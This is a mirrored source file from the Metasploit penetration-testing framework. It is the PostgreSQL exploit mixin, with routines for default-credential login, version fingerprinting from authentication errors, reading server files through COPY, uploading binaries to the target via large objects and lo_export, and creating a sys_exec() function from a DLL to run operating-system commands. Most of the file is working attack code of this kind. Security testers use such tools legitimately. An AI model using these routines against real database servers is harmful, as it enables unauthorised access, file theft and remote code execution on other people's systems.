Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

postgres.rb 21KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510
  1. # -*- coding: binary -*-
  2. require 'msf/core'
  3. module Msf
  4. ###
  5. #
  6. # This module exposes methods for querying a remote PostgreSQL service.
  7. #
  8. ###
  9. module Exploit::Remote::Postgres
  10. require 'postgres_msf'
  11. require 'base64'
  12. include Msf::Db::PostgresPR
  13. # @!attribute [rw] postgres_conn
  14. # @return [::Msf::Db::PostgresPR::Connection]
  15. attr_accessor :postgres_conn
  16. #
  17. # Creates an instance of a PostgreSQL exploit module.
  18. #
  19. def initialize(info = {})
  20. super
  21. # Register the options that all Postgres exploits may make use of.
  22. register_options(
  23. [
  24. Opt::RHOST,
  25. Opt::RPORT(5432),
  26. OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
  27. OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
  28. OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
  29. OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
  30. OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
  31. OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
  32. ], Msf::Exploit::Remote::Postgres)
  33. register_autofilter_ports([ 5432 ])
  34. register_autofilter_services(%W{ postgres })
  35. end
  36. # @!group Datastore accessors
  37. # Return the datastore value of the same name
  38. # @return [String] IP address of the target
  39. def rhost; datastore['RHOST']; end
  40. # Return the datastore value of the same name
  41. # @return [Fixnum] TCP port where the target service is running
  42. def rport; datastore['RPORT']; end
  43. # Return the datastore value of the same name
  44. # @return [String] Username for authentication
  45. def username; datastore['USERNAME']; end
  46. # Return the datastore value of the same name
  47. # @return [String] Password for authentication
  48. def password; datastore['PASSWORD']; end
  49. # Return the datastore value of the same name
  50. # @return [String] Database to connect to when authenticating
  51. def database; datastore['DATABASE']; end
  52. # Return the datastore value of the same name
  53. # @return [Boolean] Whether to print verbose output
  54. def verbose; datastore['VERBOSE']; end
  55. # @!endgroup
  56. # Takes a number of arguments (defaults to the datastore for appropriate
  57. # values), and will either populate {#postgres_conn} and return
  58. # +:connected+, or will return +:error+, +:error_databse+, or
  59. # +:error_credentials+ in case of an error.
  60. #
  61. # Fun fact: if you get +:error_database+, it means your username and
  62. # password was accepted (you just failed to guess a correct running database
  63. # instance).
  64. #
  65. # @note This method will first call {#postgres_logout} if the module is
  66. # already connected.
  67. #
  68. # @param opts [Hash] Options for authenticating
  69. # @option opts [String] :database The database
  70. # @option opts [String] :username The username
  71. # @option opts [String] :username The username
  72. # @option opts [String] :server IP address or hostname of the target server
  73. # @option opts [Fixnum] :port TCP port on :server
  74. #
  75. # @return [:error_database] if user/pass are correct but database is wrong
  76. # @return [:error_credentials] if user/pass are wrong
  77. # @return [:error] if some other error occurred
  78. # @return [:connected] if everything went as planned
  79. def postgres_login(opts={})
  80. postgres_logout if self.postgres_conn
  81. db = opts[:database] || datastore['DATABASE']
  82. username = opts[:username] || datastore['USERNAME']
  83. password = opts[:password] || datastore['PASSWORD']
  84. ip = opts[:server] || datastore['RHOST']
  85. port = opts[:port] || datastore['RPORT']
  86. uri = "tcp://#{ip}:#{port}"
  87. if Rex::Socket.is_ipv6?(ip)
  88. uri = "tcp://[#{ip}]:#{port}"
  89. end
  90. verbose = opts[:verbose] || datastore['VERBOSE']
  91. begin
  92. self.postgres_conn = Connection.new(db,username,password,uri)
  93. rescue RuntimeError => e
  94. case e.to_s.split("\t")[1]
  95. when "C3D000"
  96. print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose
  97. return :error_database # Note this means the user:pass is good!
  98. when "C28000", "C28P01"
  99. print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose
  100. return :error_credentials
  101. else
  102. print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
  103. return :error
  104. end
  105. end
  106. if self.postgres_conn
  107. print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
  108. return :connected
  109. end
  110. end
  111. # Logs out of a database instance and sets {#postgres_conn} to nil
  112. #
  113. # @return [void]
  114. def postgres_logout
  115. ip = datastore['RHOST']
  116. port = datastore['RPORT']
  117. verbose = datastore['VERBOSE']
  118. if self.postgres_conn
  119. self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
  120. self.postgres_conn = nil
  121. end
  122. print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
  123. end
  124. # If not currently connected, attempt to connect. If an
  125. # error is encountered while executing the query, it will return with
  126. # :error ; otherwise, it will return with :complete.
  127. #
  128. # @param sql [String] The query to run
  129. # @param doprint [Boolean] Whether the result should be printed
  130. # @return [Hash]
  131. def postgres_query(sql=nil,doprint=false)
  132. ip = datastore['RHOST']
  133. port = datastore['RPORT']
  134. postgres_login unless self.postgres_conn
  135. unless self.postgres_conn
  136. return {:conn_error => true}
  137. end
  138. if self.postgres_conn
  139. sql ||= datastore['SQL']
  140. vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
  141. begin
  142. resp = self.postgres_conn.query(sql)
  143. rescue RuntimeError => e
  144. case sql_error_msg = e.to_s.split("\t")[1] # Deal with some common errors
  145. when "C42601"
  146. sql_error_msg += " Invalid SQL Syntax: '#{sql}'"
  147. when "C42P01"
  148. sql_error_msg += " Table does not exist: '#{sql}'"
  149. when "C42703"
  150. sql_error_msg += " Column does not exist: '#{sql}'"
  151. when "C42883"
  152. sql_error_msg += " Function does not exist: '#{sql}'"
  153. else # Let the user figure out the rest.
  154. if e == Timeout::Error
  155. sql_error_msg = 'Execution expired'
  156. elsif sql_error_msg.nil?
  157. sql_error_msg = e.inspect
  158. else
  159. sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
  160. end
  161. end
  162. return {:sql_error => sql_error_msg}
  163. end
  164. postgres_print_reply(resp,sql) if doprint
  165. return {:complete => resp}
  166. end
  167. end
  168. # If resp is not actually a Connection::Result object, then return
  169. # :error (but not an actual Exception, that's up to the caller.
  170. # Otherwise, create a rowset using Rex::Text::Table (if there's
  171. # more than 0 rows) and return :complete.
  172. def postgres_print_reply(resp=nil,sql=nil)
  173. ip = datastore['RHOST']
  174. port = datastore['RPORT']
  175. verbose = datastore['VERBOSE']
  176. return :error unless resp.kind_of? Connection::Result
  177. if resp.rows and resp.fields
  178. print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose
  179. if resp.rows.size > 0
  180. tbl = Rex::Text::Table.new(
  181. 'Indent' => 4,
  182. 'Header' => "Query Text: '#{sql}'",
  183. 'Columns' => resp.fields.map {|x| x.name}
  184. )
  185. resp.rows.each {|row| tbl << row.map { |x| x.nil? ? "NIL" : x } }
  186. print_line(tbl.to_s)
  187. end
  188. end
  189. return :complete
  190. end
  191. # Attempts to fingerprint a remote PostgreSQL instance, inferring version
  192. # number from the failed authentication messages or simply returning the
  193. # result of "select version()" if authentication was successful.
  194. #
  195. # @return [Hash] A hash containing the version in one of the keys :preauth,
  196. # :auth, or :unknown, depending on how it was determined
  197. # @see #postgres_authed_fingerprint
  198. # @see #analyze_auth_error
  199. def postgres_fingerprint(args={})
  200. return postgres_authed_fingerprint if self.postgres_conn
  201. db = args[:database] || datastore['DATABASE']
  202. username = args[:username] || datastore['USERNAME']
  203. password = args[:password] || datastore['PASSWORD']
  204. rhost = args[:server] || datastore['RHOST']
  205. rport = args[:port] || datastore['RPORT']
  206. uri = "tcp://#{rhost}:#{rport}"
  207. if Rex::Socket.is_ipv6?(rhost)
  208. uri = "tcp://[#{rhost}]:#{rport}"
  209. end
  210. verbose = args[:verbose] || datastore['VERBOSE']
  211. begin
  212. self.postgres_conn = Connection.new(db,username,password,uri)
  213. rescue RuntimeError => e
  214. version_hash = analyze_auth_error e
  215. return version_hash
  216. end
  217. return postgres_authed_fingerprint if self.postgres_conn
  218. end
  219. # Ask the server what its version is
  220. #
  221. # @return (see #postgres_fingerprint)
  222. # @see #postgres_fingerprint
  223. def postgres_authed_fingerprint
  224. resp = postgres_query("select version()",false)
  225. ver = resp[:complete].rows[0][0]
  226. return {:auth => ver}
  227. end
  228. # Matches up filename, line number, and routine with a version.
  229. # These all come from source builds of Postgres. TODO: check
  230. # in on the binary distros, see if they're different.
  231. #
  232. # @param e [RuntimeError] The exception raised by Connection.new
  233. # @return (see #postgres_fingerprint)
  234. # @see #postgres_fingerprint
  235. def analyze_auth_error(e)
  236. fname,fline,froutine = e.to_s.split("\t")[3,3]
  237. fingerprint = "#{fname}:#{fline}:#{froutine}"
  238. case fingerprint
  239. # Usually, Postgres is on Linux, so let's use that as a baseline.
  240. when "Fauth.c:L395:Rauth_failed" ; return {:preauth => "7.4.26-27"} # Failed (bad db, bad credentials)
  241. when "Fpostinit.c:L264:RInitPostgres" ; return {:preauth => "7.4.26-27"} # Failed (bad db, good credentials)
  242. when "Fauth.c:L452:RClientAuthentication" ; return {:preauth => "7.4.26-27"} # Rejected (maybe good, but not allowed due to pg_hba.conf)
  243. when "Fauth.c:L400:Rauth_failed" ; return {:preauth => "8.0.22-23"} # Failed (bad db, bad credentials)
  244. when "Fpostinit.c:L274:RInitPostgres" ; return {:preauth => "8.0.22-23"} # Failed (bad db, good credentials)
  245. when "Fauth.c:L457:RClientAuthentication" ; return {:preauth => "8.0.22-23"} # Rejected (maybe good)
  246. when "Fauth.c:L337:Rauth_failed" ; return {:preauth => "8.1.18-19"} # Failed (bad db, bad credentials)
  247. when "Fpostinit.c:L354:RInitPostgres" ; return {:preauth => "8.1.18-19"} # Failed (bad db, good credentials)
  248. when "Fauth.c:L394:RClientAuthentication" ; return {:preauth => "8.1.18-19"} # Rejected (maybe good)
  249. when "Fauth.c:L414:RClientAuthentication" ; return {:preauth => "8.2.7-1"} # Failed (bad db, bad credentials) ubuntu 8.04.2
  250. when "Fauth.c:L362:Rauth_failed" ; return {:preauth => "8.2.14-15"} # Failed (bad db, bad credentials)
  251. when "Fpostinit.c:L319:RInitPostgres" ; return {:preauth => "8.2.14-15"} # Failed (bad db, good credentials)
  252. when "Fauth.c:L419:RClientAuthentication" ; return {:preauth => "8.2.14-15"} # Rejected (maybe good)
  253. when "Fauth.c:L1003:Rauth_failed" ; return {:preauth => "8.3.8"} # Failed (bad db, bad credentials)
  254. when "Fpostinit.c:L388:RInitPostgres" ; return {:preauth => "8.3.8-9"} # Failed (bad db, good credentials)
  255. when "Fauth.c:L1060:RClientAuthentication" ; return {:preauth => "8.3.8"} # Rejected (maybe good)
  256. when "Fauth.c:L1017:Rauth_failed" ; return {:preauth => "8.3.9"} # Failed (bad db, bad credentials)
  257. when "Fauth.c:L1074:RClientAuthentication" ; return {:preauth => "8.3.9"} # Rejected (maybe good, but not allowed due to pg_hba.conf)
  258. when "Fauth.c:L258:Rauth_failed" ; return {:preauth => "8.4.1"} # Failed (bad db, bad credentials)
  259. when "Fpostinit.c:L422:RInitPostgres" ; return {:preauth => "8.4.1-2"} # Failed (bad db, good credentials)
  260. when "Fauth.c:L349:RClientAuthentication" ; return {:preauth => "8.4.1"} # Rejected (maybe good)
  261. when "Fauth.c:L273:Rauth_failed" ; return {:preauth => "8.4.2"} # Failed (bad db, bad credentials)
  262. when "Fauth.c:L364:RClientAuthentication" ; return {:preauth => "8.4.2"} # Rejected (maybe good)
  263. when "Fmiscinit.c:L432:RInitializeSessionUserId" ; return {:preauth => "9.1.5"} # Failed (bad db, bad credentials)
  264. when "Fpostinit.c:L709:RInitPostgres" ; return {:preauth => "9.1.5"} # Failed (bad db, good credentials)
  265. when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database
  266. when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
  267. when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user
  268. when "Fmiscinit.c:L362:RInitializeSessionUserId" ; return {:preauth => "9.4.1-5"} # Bad user
  269. when "Fauth.c:L285:Rauth_failed" ; return {:preauth => "9.4.1-5"} # Bad creds, good database
  270. when "Fpostinit.c:L794:RInitPostgres" ; return {:preauth => "9.4.1-5"} # Good creds, non-existent but allowed database
  271. when "Fauth.c:L481:RClientAuthentication" ; return {:preauth => "9.4.1-5"} # bad user or host
  272. # Windows
  273. when 'F.\src\backend\libpq\auth.c:L273:Rauth_failed' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, bad credentials)
  274. when 'F.\src\backend\utils\init\postinit.c:L422:RInitPostgres' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, good credentials)
  275. when 'F.\src\backend\libpq\auth.c:L359:RClientAuthentication' ; return {:preauth => "8.4.2-Win"} # Rejected (maybe good)
  276. when 'F.\src\backend\libpq\auth.c:L464:RClientAuthentication' ; return {:preauth => "9.0.3-Win"} # Rejected (not allowed in pg_hba.conf)
  277. when 'F.\src\backend\libpq\auth.c:L297:Rauth_failed' ; return {:preauth => "9.0.3-Win"} # Rejected (bad db or bad creds)
  278. when 'Fsrc\backend\libpq\auth.c:L302:Rauth_failed' ; return {:preauth => "9.2.1-Win"} # Rejected (bad db or bad creds)
  279. when 'Fsrc\backend\utils\init\postinit.c:L717:RInitPostgres' ; return {:preauth => "9.2.1-Win"} # Failed (bad db, good credentials)
  280. when 'Fsrc\backend\libpq\auth.c:L479:RClientAuthentication' ; return {:preauth => "9.2.1-Win"} # Rejected (not allowed in pg_hba.conf)
  281. # OpenSolaris (thanks Alexander!)
  282. when 'Fmiscinit.c:L420:' ; return {:preauth => '8.2.6-8.2.13-OpenSolaris'} # Failed (good db, bad credentials)
  283. when 'Fmiscinit.c:L382:' ; return {:preauth => '8.2.4-OpenSolaris'} # Failed (good db, bad credentials)
  284. when 'Fpostinit.c:L318:' ; return {:preauth => '8.2.4-8.2.9-OpenSolaris'} # Failed (bad db, bad credentials)
  285. when 'Fpostinit.c:L319:' ; return {:preauth => '8.2.10-8.2.13-OpenSolaris'} # Failed (bad db, bad credentials)
  286. else
  287. return {:unknown => fingerprint}
  288. end
  289. end
  290. # @return [String] The password as provided by the user or a random one if
  291. # none has been given.
  292. def postgres_password
  293. if datastore['PASSWORD'].to_s.size > 0
  294. datastore['PASSWORD'].to_s
  295. else
  296. 'INVALID_' + Rex::Text.rand_text_alpha(rand(6) + 1)
  297. end
  298. end
  299. # This presumes the user has rights to both the file and to create a table.
  300. # If not, {#postgres_query} will return an error (usually :sql_error),
  301. # and it should be dealt with by the caller.
  302. def postgres_read_textfile(filename)
  303. # Check for temp table creation privs first.
  304. unless postgres_has_database_privilege('TEMP')
  305. return({:sql_error => "Insufficent privileges for #{datastore['USERNAME']} on #{datastore['DATABASE']}"})
  306. end
  307. temp_table_name = Rex::Text.rand_text_alpha(rand(10)+6)
  308. read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
  309. COPY #{temp_table_name} FROM '#{filename}';
  310. SELECT * FROM #{temp_table_name}}
  311. return postgres_query(read_query,true)
  312. end
  313. # @return [Boolean] Whether the current user has privilege +priv+ on the
  314. # current database
  315. def postgres_has_database_privilege(priv)
  316. sql = %Q{select has_database_privilege(current_user,current_database(),'#{priv}')}
  317. ret = postgres_query(sql,false)
  318. if ret.keys[0] == :complete
  319. ret.values[0].rows[0][0].inspect =~ /t/i ? true : false
  320. else
  321. return false
  322. end
  323. end
  324. # Creates the function sys_exec() in the pg_temp schema.
  325. # @deprecated Just get a real shell instead
  326. def postgres_create_sys_exec(dll)
  327. q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language c returns null on null input immutable"
  328. resp = postgres_query(q);
  329. if resp[:sql_error]
  330. print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
  331. return false
  332. end
  333. return true
  334. end
  335. # This presumes the pg_temp.sys_exec() udf has been installed, almost
  336. # certainly by postgres_create_sys_exec()
  337. #
  338. # @deprecated Just get a real shell instead
  339. def postgres_sys_exec(cmd)
  340. print_status "Attempting to Execute: #{cmd}"
  341. q = "select pg_temp.sys_exec('#{cmd}')"
  342. resp = postgres_query(q)
  343. if resp[:sql_error]
  344. print_error resp[:sql_error]
  345. return false
  346. end
  347. return true
  348. end
  349. # Uploads the given local file to the remote server
  350. #
  351. # @param fname [String] Name of a file on the local filesystem to be
  352. # uploaded
  353. # @param remote_fname (see #postgres_upload_binary_data)
  354. # @return (see #postgres_upload_binary_data)
  355. def postgres_upload_binary_file(fname, remote_fname=nil)
  356. data = File.read(fname)
  357. postgres_upload_binary_data(data, remote_fname)
  358. end
  359. # Writes data to disk on the target server.
  360. #
  361. # This is accomplished in 5 steps:
  362. # 1. Create a new object with "select lo_create(-1)"
  363. # 2. Delete any resulting rows in pg_largeobject table.
  364. # On 8.x and older, postgres inserts rows as a result of the call to
  365. # lo_create. Deleting them here approximates the state on 9.x where no
  366. # such insert happens.
  367. # 3. Break the data into LOBLOCKSIZE-byte chunks.
  368. # 4. Insert each of the chunks as a row in pg_largeobject
  369. # 5. Select lo_export to write the file to disk
  370. #
  371. # @param data [String] Raw binary to write to disk
  372. # @param remote_fname [String] Name of the file on the remote server where
  373. # the data will be stored. Default is "<random>.dll"
  374. # @return [nil] if any part of this process failed
  375. # @return [String] if everything went as planned, the name of the file we
  376. # dropped. This is really only useful if +remote_fname+ is nil
  377. def postgres_upload_binary_data(data, remote_fname=nil)
  378. remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
  379. # From the Postgres documentation:
  380. # SELECT lo_creat(-1); -- returns OID of new, empty large object
  381. # Doing it this way instead of calling lo_create with a random number
  382. # ensures that we don't accidentally hit the id of a real object.
  383. resp = postgres_query "select lo_creat(-1)"
  384. unless resp and resp[:complete] and resp[:complete].rows[0]
  385. print_error "Failed to get a new loid"
  386. return
  387. end
  388. oid = resp[:complete].rows[0][0].to_i
  389. queries = [ "delete from pg_largeobject where loid=#{oid}" ]
  390. # Break the data into smaller chunks that can fit in the size allowed in
  391. # the pg_largeobject data column.
  392. # From the postgres documentation:
  393. # "The amount of data per page is defined to be LOBLKSIZE (which is
  394. # currently BLCKSZ/4, or typically 2 kB)."
  395. # Empirically, it seems that 8kB is fine on 9.x, but we play it safe and
  396. # stick to 2kB.
  397. chunks = []
  398. while ((c = data.slice!(0..2047)) && c.length > 0)
  399. chunks.push c
  400. end
  401. chunks.each_with_index do |chunk, pageno|
  402. b64_data = postgres_base64_data(chunk)
  403. insert = "insert into pg_largeobject (loid,pageno,data) values(%d, %d, decode('%s', 'base64'))"
  404. queries.push( "#{insert}"%[oid, pageno, b64_data] )
  405. end
  406. queries.push "select lo_export(#{oid}, '#{remote_fname}')"
  407. # Now run each of the queries we just built
  408. queries.each do |q|
  409. resp = postgres_query(q)
  410. if resp && resp[:sql_error]
  411. print_error "Could not write the library to disk."
  412. print_error resp[:sql_error]
  413. # Can't really recover from this, bail
  414. return nil
  415. end
  416. end
  417. return remote_fname
  418. end
  419. # Calls {#postgres_base64_data} with the contents of file +fname+
  420. #
  421. # @param fname [String] Name of a file on the local system
  422. # @return (see #postgres_base64_data)
  423. def postgres_base64_file(fname)
  424. data = File.open(fname, "rb") {|f| f.read f.stat.size}
  425. postgres_base64_data(data)
  426. end
  427. # Converts data to base64 with no newlines
  428. #
  429. # @param data [String] Raw data to be base64'd
  430. # @return [String] A base64 string suitable for passing to postgresql's
  431. # decode(..., 'base64') function
  432. def postgres_base64_data(data)
  433. [data].pack("m*").gsub(/\r?\n/,"")
  434. end
  435. # Creates a temporary table to store base64'ed binary data in.
  436. #
  437. # @deprecated No longer necessary since we can insert base64 data directly
  438. def postgres_create_stager_table
  439. tbl = Rex::Text.rand_text_alpha(8).downcase
  440. fld = Rex::Text.rand_text_alpha(8).downcase
  441. resp = postgres_query("create temporary table #{tbl}(#{fld} text)")
  442. if resp[:sql_error]
  443. print_error resp[:sql_error]
  444. return false
  445. end
  446. return [tbl,fld]
  447. end
  448. end
  449. end